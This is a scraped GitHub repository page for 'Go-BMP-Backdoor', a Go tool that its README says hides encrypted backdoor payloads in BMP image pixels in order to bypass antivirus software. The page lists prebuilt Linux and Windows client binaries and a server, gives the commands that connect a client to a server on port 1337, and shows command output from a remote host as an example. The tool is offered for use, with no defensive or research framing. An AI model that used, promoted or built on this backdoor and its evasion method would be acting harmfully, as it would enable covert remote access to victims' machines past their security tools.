Skip to content
transfer backdoor payload with .bmp, Go version
Go
Branch: master
Clone or download
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
README.md
bmp.go
client.go
client_linux
client_recv.bmp
client_send.bmp
client_windows.exe
gopher.bmp
server
server.go
server_recv.bmp
server_send.bmp
tcp.go

README.md

Go-BMP-Backdoor

Inspired by Transferring Backdoor Payloads with BMP Image Pixels, I write a Go version.

Encrypt backdoor payloads in .bmp files to bypass AV.

Example

base64 encoded uid=1000(amyang) gid=1000(amyang) groups=1000(amyang),10(wheel),14(uucp),54(lock),56(bumblebee),95(storage),108(vboxusers),1001(usbfs)

Usage

gopher.bmp is required, in order to be more normal.

Client

./client_linux -server 127.0.0.1 -port 1337

so is client_windows.exe

Server

./server -port 1337

You can’t perform that action at this time.